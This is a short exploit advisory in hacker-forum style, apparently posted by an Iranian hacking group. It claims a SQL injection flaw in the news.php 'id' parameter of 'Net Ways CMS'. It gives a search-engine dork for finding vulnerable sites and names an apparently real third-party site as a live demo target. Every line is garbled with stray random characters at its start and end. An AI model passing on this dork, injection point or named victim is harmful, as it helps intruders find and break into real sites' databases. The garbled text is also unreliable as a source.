################################################################################??########
& }+ |1 ~. W! Z( L3 p2 A#
; j: t7 d' e2 l# Exploit Title : Net Ways Cms Sql Injection Vulnerability % r- N/ f9 @( n5 ^! @
#
. U% t: H8 d7 P8 P% B# Author : IrIsT.Ir
/ }4 Z4 R# D5 n% T#
: H+ q6 [ w! q# G2 }; r6 q1 ?" m# Discovered By : Am!r & _. d4 P. E! M- g& x
#
) {2 l8 L& ]3 U! v# Home : http://IrIsT.Ir/forum 0 A* S* F( p% d$ W& |# z
#
" L! ^: |. Y9 [+ G7 N# Software Link : http://www.netways.com/ www.political-security.com
6 K; P1 X' H, V2 P# - J' q+ z9 G$ b7 ]; z( ~8 ~* P
# Security Risk : High
. J! r2 q6 x- w6 g#
4 M; m7 ^* _- K3 Q5 o# Version : All Version
( P q7 E0 ?" E7 I% l#
' O% K5 h6 `" g! v2 C1 P, F# Tested on : GNU/Linux Ubuntu - Windows Server - win7 & a: P6 W a( ?
#
: s# M' U- c6 z. ]7 s$ ]# Dork : intext:"Designed & developed by NetWays"
/ }( p0 ~, B; Y; C1 t, u3 l% d: G# i- M r% Y i( R- L- x: E" i
################################################################################??######## $ d. T8 w% m. S4 b- L5 J
# - h5 V. }6 h- c9 p9 n
# Expl0iTs :
2 R: D7 A: y/ w+ Y. }; [ r#
; ~. x4 I& h6 X% u& M* m& S# http://target.com/news.php?id=[Sql] ( J2 V" |$ F; R# A# K
#
) U+ Z2 O% q7 f; P% S/ x: i6 y#
; u& `6 B) r" Y, T6 B# p% U# D3mo : $ y, t2 G( v4 @7 c( ]+ R" N; Y
# & a5 g0 {% }* E0 @
# http://compagnieparento.com/news.php?id=7[Sql] 8 i# k* l! i/ N( v9 }6 @7 M0 d& v$ M; X
#
* [3 }1 M2 L* m' t i( ?################################################################################??######## 0 @; I0 T9 l7 o( k9 z" T5 J! s3 ?
#
/ g* C( q% e+ ]- b# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
' E- ^4 o0 n! K1 V" O/ X#
( y4 w9 F$ S6 ^$ I& h) e# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
+ N% s$ B) E5 b7 N; h$ Q% e#
& c! u3 Y1 I q; b* u/ X! t4 t2 H# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
* D+ Q; @/ l! l5 i' h' {! [% T5 }' d# ) T+ D! ]5 x5 o
################################################################################??######## |